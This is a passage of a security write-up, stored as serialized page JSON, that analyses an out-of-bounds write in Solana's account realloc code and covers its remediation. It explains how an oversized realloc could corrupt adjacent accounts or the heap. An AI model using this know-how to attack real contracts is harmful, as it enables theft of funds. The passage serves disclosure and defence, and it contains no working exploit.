":22,"tag":264,"props":17584,"children":17585},{"style":1549},[17586],{"type":27,"value":15257},{"type":22,"tag":264,"props":17588,"children":17589},{"style":4293},[17590],{"type":27,"value":10123},{"type":22,"tag":264,"props":17592,"children":17593},{"style":4722},[17594],{"type":27,"value":7151},{"type":22,"tag":264,"props":17596,"children":17597},{"style":1539},[17598],{"type":27,"value":4322},{"type":22,"tag":23,"props":17600,"children":17601},{},[17602,17604,17610,17612,17623,17625,17631,17633,17639,17641,17646,17648,17653,17655,17665,17666,17673,17674,17681,17688,17690,17696,17698,17704,17706,17711,17713,17718,17720,17726,17728,17733],{"type":27,"value":17603},"That ",{"type":22,"tag":257,"props":17605,"children":17607},{"className":17606},[],[17608],{"type":27,"value":17609},"as_ptr()",{"type":27,"value":17611}," call is ",{"type":22,"tag":69,"props":17613,"children":17616},{"href":17614,"rel":17615},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[73],[17617],{"type":22,"tag":257,"props":17618,"children":17620},{"className":17619},[],[17621],{"type":27,"value":17622},"RefCell::as_ptr()",{"type":27,"value":17624}," due to the ",{"type":22,"tag":257,"props":17626,"children":17628},{"className":17627},[],[17629],{"type":27,"value":17630},"Deref",{"type":27,"value":17632}," impl on ",{"type":22,"tag":257,"props":17634,"children":17636},{"className":17635},[],[17637],{"type":27,"value":17638},"Rc",{"type":27,"value":17640}," (remember also that ",{"type":22,"tag":257,"props":17642,"children":17644},{"className":17643},[],[17645],{"type":27,"value":16803},{"type":27,"value":17647}," itself doesn't behave like a reference, you need to actually ",{"type":22,"tag":1699,"props":17649,"children":17650},{},[17651],{"type":27,"value":17652},"get",{"type":27,"value":17654}," one through ",{"type":22,"tag":69,"props":17656,"children":17659},{"href":17657,"rel":17658},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[73],[17660],{"type":22,"tag":257,"props":17661,"children":17663},{"className":17662},[],[17664],{"type":27,"value":10097},{"type":27,"value":7750},{"type":22,"tag":69,"props":17667,"children":17670},{"href":17668,"rel":17669},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[73],[17671],{"type":27,"value":17672},"and",{"type":27,"value":7750},{"type":22,"tag":69,"props":17675,"children":17678},{"href":17676,"rel":17677},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[73],[17679],{"type":27,"value":17680},"frie",{"type":22,"tag":69,"props":17682,"children":17685},{"href":17683,"rel":17684},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[73],[17686],{"type":27,"value":17687},"nds",{"type":27,"value":17689},"). So from ",{"type":22,"tag":257,"props":17691,"children":17693},{"className":17692},[],[17694],{"type":27,"value":17695},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":27,"value":17697}," we get a ",{"type":22,"tag":257,"props":17699,"children":17701},{"className":17700},[],[17702],{"type":27,"value":17703},"*mut &mut [u8]",{"type":27,"value":17705}," - a ",{"type":22,"tag":1699,"props":17707,"children":17708},{},[17709],{"type":27,"value":17710},"pointer",{"type":27,"value":17712}," to the ",{"type":22,"tag":1699,"props":17714,"children":17715},{},[17716],{"type":27,"value":17717},"slice reference",{"type":27,"value":17719},". From here, we turn the pointer into a ",{"type":22,"tag":257,"props":17721,"children":17723},{"className":17722},[],[17724],{"type":27,"value":17725},"*const u64",{"type":27,"value":17727}," pointer and then offset by 1 ",{"type":22,"tag":257,"props":17729,"children":17731},{"className":17730},[],[17732],{"type":27,"value":9336},{"type":27,"value":17734}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":22,"tag":23,"props":17736,"children":17737},{},[17738,17740,17745,17747,17752,17754,17759,17761,17766,17768,17774],{"type":27,"value":17739},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":22,"tag":69,"props":17741,"children":17743},{"href":17742},"#Towards-safer-unsafe",[17744],{"type":27,"value":17412},{"type":27,"value":17746}," too, I promise. In summary, we're writing the new length as a ",{"type":22,"tag":257,"props":17748,"children":17750},{"className":17749},[],[17751],{"type":27,"value":9336},{"type":27,"value":17753}," to the region starting 8 bytes from the start of the slice ",{"type":22,"tag":1699,"props":17755,"children":17756},{},[17757],{"type":27,"value":17758},"reference",{"type":27,"value":17760}," (the ",{"type":22,"tag":257,"props":17762,"children":17764},{"className":17763},[],[17765],{"type":27,"value":16762},{"type":27,"value":17767},").So, what does ",{"type":22,"tag":257,"props":17769,"children":17771},{"className":17770},[],[17772],{"type":27,"value":17773},"&[T]",{"type":27,"value":17775}," look like in Rust?",{"type":22,"tag":23,"props":17777,"children":17778},{},[17779,17781,17788,17790,17803,17805,17811],{"type":27,"value":17780},"According to ",{"type":22,"tag":69,"props":17782,"children":17785},{"href":17783,"rel":17784},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[73],[17786],{"type":27,"value":17787},"the reference",{"type":27,"value":17789},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":22,"tag":69,"props":17791,"children":17794},{"href":17792,"rel":17793},"https://doc.rust-lang.org/reference/type-layout.html",[73],[17795,17797,17801],{"type":27,"value":17796},"\"Type layout can be changed with each compilation. ",{"type":22,"tag":264,"props":17798,"children":17799},{},[17800],{"type":27,"value":10889},{"type":27,"value":17802}," we only document what is guaranteed today\"",{"type":27,"value":17804},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":22,"tag":257,"props":17806,"children":17808},{"className":17807},[],[17809],{"type":27,"value":17810},"rustc",{"type":27,"value":17812},", the layout is a data pointer followed by the size; essentially the same as:",{"type":22,"tag":618,"props":17814,"children":17817},{"className":17815,"code":17816,"language":4449,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[17818],{"type":22,"tag":257,"props":17819,"children":17820},{"__ignoreMap":7},[17821,17829,17841,17858,17871],{"type":22,"tag":264,"props":17822,"children":17823},{"class":1534,"line":1535},[17824],{"type":22,"tag":264,"props":17825,"children":17826},{"style":4284},[17827],{"type":27,"value":17828},"// C language\n",{"type":22,"tag":264,"props":17830,"children":17831},{"class":1534,"line":1545},[17832,17836],{"type":22,"tag":264,"props":17833,"children":17834},{"style":4293},[17835],{"type":27,"value":10699},{"type":22,"tag":264,"props":17837,"children":17838},{"style":1539},[17839],{"type":27,"value":17840}," slice_ref {\n",{"type":22,"tag":264,"props":17842,"children":17843},{"class":1534,"line":1560},[17844,17849,17853],{"type":22,"tag":264,"props":17845,"children":17846},{"style":4293},[17847],{"type":27,"value":17848},"    void",{"type":22,"tag":264,"props":17850,"children":17851},{"style":4309},[17852],{"type":27,"value":5865},{"type":22,"tag":264,"props":17854,"children":17855},{"style":1539},[17856],{"type":27,"value":17857}," ptr;\n",{"type":22,"tag":264,"props":17859,"children":17860},{"class":1534,"line":1569},[17861,17866],{"type":22,"tag":264,"props":17862,"children":17863},{"style":4293},[17864],{"type":27,"value":17865},"    size_t",{"type":22,"tag":264,"props":17867,"children":17868},{"style":1539},[17869],{"type":27,"value":17870}," len;\n",{"type":22,"tag":264,"props":17872,"children":17873},{"class":1534,"line":1583},[17874],{"type":22,"tag":264,"props":17875,"children":17876},{"style":1539},[17877],{"type":27,"value":17878},"};\n",{"type":22,"tag":23,"props":17880,"children":17881},{},[17882],{"type":27,"value":17883},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":22,"tag":1867,"props":17885,"children":17886},{},[17887,17892,17910],{"type":22,"tag":1871,"props":17888,"children":17889},{},[17890],{"type":27,"value":17891},"Slices are laid out in the precise manner described",{"type":22,"tag":1871,"props":17893,"children":17894},{},[17895,17897,17903,17905],{"type":27,"value":17896},"Pointers and ",{"type":22,"tag":257,"props":17898,"children":17900},{"className":17899},[],[17901],{"type":27,"value":17902},"usize",{"type":27,"value":17904}," are the same width as ",{"type":22,"tag":257,"props":17906,"children":17908},{"className":17907},[],[17909],{"type":27,"value":9336},{"type":22,"tag":1871,"props":17911,"children":17912},{},[17913,17915,17920],{"type":27,"value":17914},"The ",{"type":22,"tag":257,"props":17916,"children":17918},{"className":17917},[],[17919],{"type":27,"value":16803},{"type":27,"value":17921}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":22,"tag":23,"props":17923,"children":17924},{},[17925,17927,17932,17934,17940,17942,17947,17949,17955,17957,17962,17964,17974],{"type":27,"value":17926},"Assumption #2 is ",{"type":22,"tag":1699,"props":17928,"children":17929},{},[17930],{"type":27,"value":17931},"probably",{"type":27,"value":17933}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":22,"tag":257,"props":17935,"children":17937},{"className":17936},[],[17938],{"type":27,"value":17939},"borrow_mut",{"type":27,"value":17941}," of the ",{"type":22,"tag":257,"props":17943,"children":17945},{"className":17944},[],[17946],{"type":27,"value":16803},{"type":27,"value":17948}," (through ",{"type":22,"tag":257,"props":17950,"children":17952},{"className":17951},[],[17953],{"type":27,"value":17954},"AccountInfo::try_borrow_mut_data()",{"type":27,"value":17956},"), and ",{"type":22,"tag":257,"props":17958,"children":17960},{"className":17959},[],[17961],{"type":27,"value":16803},{"type":27,"value":17963}," is not usable between multiple threads",{"type":22,"tag":16773,"props":17965,"children":17966},{},[17967],{"type":22,"tag":69,"props":17968,"children":17972},{"href":17969,"ariaDescribedBy":17970,"dataFootnoteRef":7,"id":17971},"#user-content-fn-sendsync",[16780],"user-content-fnref-sendsync",[17973],{"type":27,"value":3568},{"type":27,"value":17975},", so we already have exclusive access.",{"type":22,"tag":23,"props":17977,"children":17978},{},[17979,17981,17985],{"type":27,"value":17980},"A few more ",{"type":22,"tag":1699,"props":17982,"children":17983},{},[17984],{"type":27,"value":8400},{"type":27,"value":17986}," things of note, that could have gone badly but didn't:",{"type":22,"tag":17988,"props":17989,"children":17990},"ul",{},[17991,18033],{"type":22,"tag":1871,"props":17992,"children":17993},{},[17994,17996,18002,18004,18009,18011,18016,18018,18023,18025,18031],{"type":27,"value":17995},"By reborrowing the pointer (the ",{"type":22,"tag":257,"props":17997,"children":17999},{"className":17998},[],[18000],{"type":27,"value":18001},"&mut *(\u003Cvalue of type *mut u64>)",{"type":27,"value":18003},"), we've created a reference with an ",{"type":22,"tag":1699,"props":18005,"children":18006},{},[18007],{"type":27,"value":18008},"unbounded lifetime",{"type":27,"value":18010},". Rust is free to infer ",{"type":22,"tag":1699,"props":18012,"children":18013},{},[18014],{"type":27,"value":18015},"any",{"type":27,"value":18017}," lifetime for ",{"type":22,"tag":257,"props":18019,"children":18021},{"className":18020},[],[18022],{"type":27,"value":15248},{"type":27,"value":18024}," (including ",{"type":22,"tag":257,"props":18026,"children":18028},{"className":18027},[],[18029],{"type":27,"value":18030},"'static",{"type":27,"value":18032},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":22,"tag":1871,"props":18034,"children":18035},{},[18036,18038,18044,18046,18051,18053,18058,18060,18065,18067,18072,18074,18079,18081,18086,18088,18094,18096,18101,18103,18108,18110,18115,18117,18122,18124,18129],{"type":27,"value":18037},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":22,"tag":257,"props":18039,"children":18041},{"className":18040},[],[18042],{"type":27,"value":18043},"RefMut",{"type":27,"value":18045}," returned from ",{"type":22,"tag":257,"props":18047,"children":18049},{"className":18048},[],[18050],{"type":27,"value":15173},{"type":27,"value":18052},", but the ",{"type":22,"tag":257,"props":18054,"children":18056},{"className":18055},[],[18057],{"type":27,"value":18043},{"type":27,"value":18059}," is dropped at the end of the statement. So, we now have in ",{"type":22,"tag":257,"props":18061,"children":18063},{"className":18062},[],[18064],{"type":27,"value":15248},{"type":27,"value":18066}," a ",{"type":22,"tag":1699,"props":18068,"children":18069},{},[18070],{"type":27,"value":18071},"mutable",{"type":27,"value":18073}," pointer to the ",{"type":22,"tag":257,"props":18075,"children":18077},{"className":18076},[],[18078],{"type":27,"value":16803},{"type":27,"value":18080},"'s data, but the ",{"type":22,"tag":257,"props":18082,"children":18084},{"className":18083},[],[18085],{"type":27,"value":16803},{"type":27,"value":18087}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":22,"tag":257,"props":18089,"children":18091},{"className":18090},[],[18092],{"type":27,"value":18093},"Mutex",{"type":27,"value":18095}," instead of a ",{"type":22,"tag":257,"props":18097,"children":18099},{"className":18098},[],[18100],{"type":27,"value":16803},{"type":27,"value":18102}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":22,"tag":257,"props":18104,"children":18106},{"className":18105},[],[18107],{"type":27,"value":15248},{"type":27,"value":18109}," and writing to it ",{"type":22,"tag":1699,"props":18111,"children":18112},{},[18113],{"type":27,"value":18114},"and succeed",{"type":27,"value":18116},", resulting in us writing while another reference is alive. However, since ",{"type":22,"tag":257,"props":18118,"children":18120},{"className":18119},[],[18121],{"type":27,"value":15248},{"type":27,"value":18123}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":22,"tag":257,"props":18125,"children":18127},{"className":18126},[],[18128],{"type":27,"value":5013},{"type":27,"value":18130}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":22,"tag":23,"props":18132,"children":18133},{},[18134,18136,18141],{"type":27,"value":18135},"Ok, now that we've understood what the code is ",{"type":22,"tag":1699,"props":18137,"children":18138},{},[18139],{"type":27,"value":18140},"trying",{"type":27,"value":18142}," to do, let's try to break it, shall we?",{"type":22,"tag":169,"props":18144,"children":18146},{"id":18145},"what-can-go-wrong",[18147],{"type":27,"value":18148},"What can go wrong?",{"type":22,"tag":181,"props":18150,"children":18152},{"id":18151},"contracts",[18153],{"type":27,"value":18154},"Contracts",{"type":22,"tag":23,"props":18156,"children":18157},{},[18158,18160,18165,18167,18172,18174,18179,18181,18186],{"type":27,"value":18159},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":22,"tag":257,"props":18161,"children":18163},{"className":18162},[],[18164],{"type":27,"value":14937},{"type":27,"value":18166},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":22,"tag":257,"props":18168,"children":18170},{"className":18169},[],[18171],{"type":27,"value":14937},{"type":27,"value":18173}," to some large size, past the end of the buffer of roughly ",{"type":22,"tag":257,"props":18175,"children":18177},{"className":18176},[],[18178],{"type":27,"value":16593},{"type":27,"value":18180}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":22,"tag":257,"props":18182,"children":18184},{"className":18183},[],[18185],{"type":27,"value":5013},{"type":27,"value":18187}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":22,"tag":23,"props":18189,"children":18190},{},[18191,18193,18200],{"type":27,"value":18192},"There is ",{"type":22,"tag":69,"props":18194,"children":18197},{"href":18195,"rel":18196},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[73],[18198],{"type":27,"value":18199},"a check",{"type":27,"value":18201}," by the BPF loader, however, and it boils down to:",{"type":22,"tag":618,"props":18203,"children":18205},{"className":4274,"code":18204,"language":4273,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[18206],{"type":22,"tag":257,"props":18207,"children":18208},{"__ignoreMap":7},[18209,18247,18277,18284,18317],{"type":22,"tag":264,"props":18210,"children":18211},{"class":1534,"line":1535},[18212,18216,18221,18225,18229,18233,18237,18242],{"type":22,"tag":264,"props":18213,"children":18214},{"style":4328},[18215],{"type":27,"value":16879},{"type":22,"tag":264,"props":18217,"children":18218},{"style":1549},[18219],{"type":27,"value":18220}," post_len",{"type":22,"tag":264,"props":18222,"children":18223},{"style":4309},[18224],{"type":27,"value":210},{"type":22,"tag":264,"props":18226,"children":18227},{"style":4401},[18228],{"type":27,"value":15591},{"type":22,"tag":264,"props":18230,"children":18231},{"style":1539},[18232],{"type":27,"value":2660},{"type":22,"tag":264,"props":18234,"children":18235},{"style":4309},[18236],{"type":27,"value":5865},{"type":22,"tag":264,"props":18238,"children":18239},{"style":1549},[18240],{"type":27,"value":18241},"pre_len",{"type":22,"tag":264,"props":18243,"children":18244},{"style":1539},[18245],{"type":27,"value":18246},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":22,"tag":264,"props":18248,"children":18249},{"class":1534,"line":1545},[18250,18255,18259,18263,18268,18272],{"type":22,"tag":264,"props":18251,"children":18252},{"style":4309},[18253],{"type":27,"value":18254},"    ||",{"type":22,"tag":264,"props":18256,"children":18257},{"style":1549},[18258],{"type":27,"value":18220},{"type":22,"tag":264,"props":18260,"children":18261},{"style":4309},[18262],{"type":27,"value":15493},{"type":22,"tag":264,"props":18264,"children":18265},{"style":1539},[18266],{"type":27,"value":18267}," MAX_PERMITTED_DATA_LENGTH ",{"type":22,"tag":264,"props":18269,"children":18270},{"style":4293},[18271],{"type":27,"value":10137},{"type":22,"tag":264,"props":18273,"children":18274},{"style":4722},[18275],{"type":27,"value":18276}," usize\n",{"type":22,"tag":264,"props":18278,"children":18279},{"class":1534,"line":1560},[18280],{"type":22,"tag":264,"props":18281,"children":18282},{"style":1539},[18283],{"type":27,"value":1542},{"type":22,"tag":264,"props":18285,"children":18286},{"class":1534,"line":1569},[18287,18292,18296,18300,18304,18308,18313],{"type":22,"tag":264,"props":18288,"children":18289},{"style":4328},[18290],{"type":27,"value":18291},"    return",{"type":22,"tag":264,"props":18293,"children":18294},{"style":4722},[18295],{"type":27,"value":17049},{"type":22,"tag":264,"props":18297,"children":18298},{"style":1539},[18299],{"type":27,"value":2660},{"type":22,"tag":264,"props":18301,"children":18302},{"style":4722},[18303],{"type":27,"value":17058},{"type":22,"tag":264,"props":18305,"children":18306},{"style":4309},[18307],{"type":27,"value":4785},{"type":22,"tag":264,"props":18309,"children":18310},{"style":4722},[18311],{"type":27,"value":18312},"InvalidRealloc",{"type":22,"tag":264,"props":18314,"children":18315},{"style":1539},[18316],{"type":27,"value":5142},{"type":22,"tag":264,"props":18318,"children":18319},{"class":1534,"line":1583},[18320],{"type":22,"tag":264,"props":18321,"children":18322},{"style":1539},[18323],{"type":27,"value":1692},{"type":22,"tag":23,"props":18325,"children":18326},{},[18327,18329,18334,18336,18341],{"type":27,"value":18328},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":22,"tag":1699,"props":18330,"children":18331},{},[18332],{"type":27,"value":18333},"finishes",{"type":27,"value":18335}," execution. ",{"type":22,"tag":1699,"props":18337,"children":18338},{},[18339],{"type":27,"value":18340},"During",{"type":27,"value":18342}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":22,"tag":23,"props":18344,"children":18345},{},[18346,18348,18353,18355,18360,18362,18369],{"type":27,"value":18347},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":22,"tag":1699,"props":18349,"children":18350},{},[18351],{"type":27,"value":18352},"arbitrary",{"type":27,"value":18354}," memory access through a mistakenly-",{"type":22,"tag":257,"props":18356,"children":18358},{"className":18357},[],[18359],{"type":27,"value":14937},{"type":27,"value":18361},"'d account, this falls in the relm of some ",{"type":22,"tag":69,"props":18363,"children":18366},{"href":18364,"rel":18365},"https://en.wikipedia.org/wiki/Buffer_overflow",[73],[18367],{"type":27,"value":18368},"old-school pwning",{"type":27,"value":18370}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":22,"tag":181,"props":18372,"children":18374},{"id":18373},"not-contracts",[18375],{"type":27,"value":18376},"Not-contracts?",{"type":22,"tag":23,"props":18378,"children":18379},{},[18380,18382,18387,18389,18399,18401,18413,18415,18422,18424,18429,18431,18436,18438,18451,18453,18458,18460,18465],{"type":27,"value":18381},"Remember when we said that all this code makes sense ",{"type":22,"tag":1699,"props":18383,"children":18384},{},[18385],{"type":27,"value":18386},"if the data points to the BPF loader's serialized buffer",{"type":27,"value":18388},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":22,"tag":69,"props":18390,"children":18393},{"href":18391,"rel":18392},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[73],[18394],{"type":22,"tag":257,"props":18395,"children":18397},{"className":18396},[],[18398],{"type":27,"value":16238},{"type":27,"value":18400}," are public, and so is its ",{"type":22,"tag":69,"props":18402,"children":18405},{"href":18403,"rel":18404},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[73],[18406,18411],{"type":22,"tag":257,"props":18407,"children":18409},{"className":18408},[],[18410],{"type":27,"value":16422},{"type":27,"value":18412}," method",{"type":27,"value":18414}," (which is ",{"type":22,"tag":69,"props":18416,"children":18419},{"href":18417,"rel":18418},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[73],[18420],{"type":27,"value":18421},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":27,"value":18423},"). The ",{"type":22,"tag":257,"props":18425,"children":18427},{"className":18426},[],[18428],{"type":27,"value":14937},{"type":27,"value":18430}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":22,"tag":257,"props":18432,"children":18434},{"className":18433},[],[18435],{"type":27,"value":16238},{"type":27,"value":18437}," ourselves - potentially through the ",{"type":22,"tag":69,"props":18439,"children":18442},{"href":18440,"rel":18441},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[73],[18443,18449],{"type":22,"tag":257,"props":18444,"children":18446},{"className":18445},[],[18447],{"type":27,"value":18448},"Account",{"type":27,"value":18450}," trait",{"type":27,"value":18452},", which is hardly documented at all and makes ",{"type":22,"tag":1699,"props":18454,"children":18455},{},[18456],{"type":27,"value":18457},"no",{"type":27,"value":18459}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":22,"tag":257,"props":18461,"children":18463},{"className":18462},[],[18464],{"type":27,"value":5013},{"type":27,"value":18466}," buffer.",{"type":22,"tag":23,"props":18468,"children":18469},{},[18470,18472,18483,18485,18491,18493,18499,18501,18514,18516,18521,18523,18528,18530,18535,18537,18542,18544,18549,18551,18556],{"type":27,"value":18471},"One long arm of this is ",{"type":22,"tag":69,"props":18473,"children":18476},{"href":18474,"rel":18475},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[73],[18477],{"type":22,"tag":257,"props":18478,"children":18480},{"className":18479},[],[18481],{"type":27,"value":18482},"solana_sdk::account::Account",{"type":27,"value":18484}," - in the client SDK. It holds an account's data in a ",{"type":22,"tag":257,"props":18486,"children":18488},{"className":18487},[],[18489],{"type":27,"value":18490},"Vec\u003Cu8>",{"type":27,"value":18492},", and it implements ",{"type":22,"tag":257,"props":18494,"children":18496},{"className":18495},[],[18497],{"type":27,"value":18498},"solana_program::account_info::Account",{"type":27,"value":18500}," (the trait from earlier) - by ",{"type":22,"tag":69,"props":18502,"children":18505},{"href":18503,"rel":18504},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[73],[18506,18508],{"type":27,"value":18507},"returning a reference to the contents of that ",{"type":22,"tag":257,"props":18509,"children":18511},{"className":18510},[],[18512],{"type":27,"value":18513},"Vec",{"type":27,"value":18515},". So, ",{"type":22,"tag":257,"props":18517,"children":18519},{"className":18518},[],[18520],{"type":27,"value":14937},{"type":27,"value":18522}," writes the size into the 8 bytes right before ",{"type":22,"tag":257,"props":18524,"children":18526},{"className":18525},[],[18527],{"type":27,"value":5013},{"type":27,"value":18529},"; ",{"type":22,"tag":257,"props":18531,"children":18533},{"className":18532},[],[18534],{"type":27,"value":5013},{"type":27,"value":18536}," is the buffer of a ",{"type":22,"tag":257,"props":18538,"children":18540},{"className":18539},[],[18541],{"type":27,"value":18513},{"type":27,"value":18543},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":22,"tag":257,"props":18545,"children":18547},{"className":18546},[],[18548],{"type":27,"value":16238},{"type":27,"value":18550}," out of an SDK ",{"type":22,"tag":257,"props":18552,"children":18554},{"className":18553},[],[18555],{"type":27,"value":18448},{"type":27,"value":18557}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":22,"tag":169,"props":18559,"children":18561},{"id":18560},"remediation",[18562],{"type":27,"value":18563},"Remediation",{"type":22,"tag":23,"props":18565,"children":18566},{},[18567],{"type":27,"value":18568},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":22,"tag":23,"props":18570,"children":18571},{},[18572,18574,18579,18581,18586,18588,18599,18601,18606,18608,18615],{"type":27,"value":18573},"The sensible thing to do would be to store the initial size in the ",{"type":22,"tag":257,"props":18575,"children":18577},{"className":18576},[],[18578],{"type":27,"value":16238},{"type":27,"value":18580},"... except for the fact that the layout of ",{"type":22,"tag":257,"props":18582,"children":18584},{"className":18583},[],[18585],{"type":27,"value":16238},{"type":27,"value":18587}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":22,"tag":16773,"props":18589,"children":18590},{},[18591],{"type":22,"tag":69,"props":18592,"children":18596},{"href":18593,"ariaDescribedBy":18594,"dataFootnoteRef":7,"id":18595},"#user-content-fn-layout",[16780],"user-content-fnref-layout",[18597],{"type":27,"value":18598},"3",{"type":27,"value":18600}," So, with changing ",{"type":22,"tag":257,"props":18602,"children":18604},{"className":18603},[],[18605],{"type":27,"value":16238},{"type":27,"value":18607}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":22,"tag":69,"props":18609,"children":18612},{"href":18610,"rel":18611},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[73],[18613],{"type":27,"value":18614},"this function",{"type":27,"value":5785},{"type":22,"tag":618,"props":18617,"children":18619},{"className":4274,"code":18618,"language":4273,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[18620],{"type":22,"tag":257,"props":18621,"children":18622},{"__ignoreMap":7},[18623,18631,18639,18647,18655,18662,18670,18678,18726,18791,18857,18878],{"type":22,"tag":264,"props":18624,"children":18625},{"class":1534,"line":1535},[18626],{"type":22,"tag":264,"props":18627,"children":18628},{"style":4284},[18629],{"type":27,"value":18630},"/// Return the account's original data length when it was serialized for the\n",{"type":22,"tag":264,"props":18632,"children":18633},{"class":1534,"line":1545},[18634],{"type":22,"tag":264,"props":18635,"children":18636},{"style":4284},[18637],{"type":27,"value":18638},"/// current program invocation.\n",{"type":22,"tag":264,"props":18640,"children":18641},{"class":1534,"line":1560},[18642],{"type":22,"tag":264,"props":18643,"children":18644},{"style":4284},[18645],{"type":27,"value":18646},"///\n",{"type":22,"tag":264,"props":18648,"children":18649},{"class":1534,"line":1569},[18650],{"type":22,"tag":264,"props":18651,"children":18652},{"style":4284},[18653],{"type":27,"value":18654},"/// # Safety\n",{"type":22,"tag":264,"props":18656,"children":18657},{"class":1534,"line":1583},[18658],{"type":22,"tag":264,"props":18659,"children":18660},{"style":4284},[18661],{"type":27,"value":18646},{"type":22,"tag":264,"props":18663,"children":18664},{"class":1534,"line":1603},[18665],{"type":22,"tag":264,"props":18666,"children":18667},{"style":4284},[18668],{"type":27,"value":18669},"/// This method assumes that the original data length was serialized as a u32\n",{"type":22,"tag":264,"props":18671,"children":18672},{"class":1534,"line":1612},[18673],{"type":22,"tag":264,"props":18674,"children":18675},{"style":4284},[18676],{"type":27,"value":18677},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":22,"tag":264,"props":18679,"children":18680},{"class":1534,"line":1621},[18681,18685,18689,18693,18698,18702,18706,18710,18714,18718,18722],{"type":22,"tag":264,"props":18682,"children":18683},{"style":4293},[18684],{"type":27,"value":14989},{"type":22,"tag":264,"props":18686,"children":18687},{"style":4293},[18688],{"type":27,"value":15889},{"type":22,"tag":264,"props":18690,"children":18691},{"style":4293},[18692],{"type":27,"value":14994},{"type":22,"tag":264,"props":18694,"children":18695},{"style":4401},[18696],{"type":27,"value":18697}," 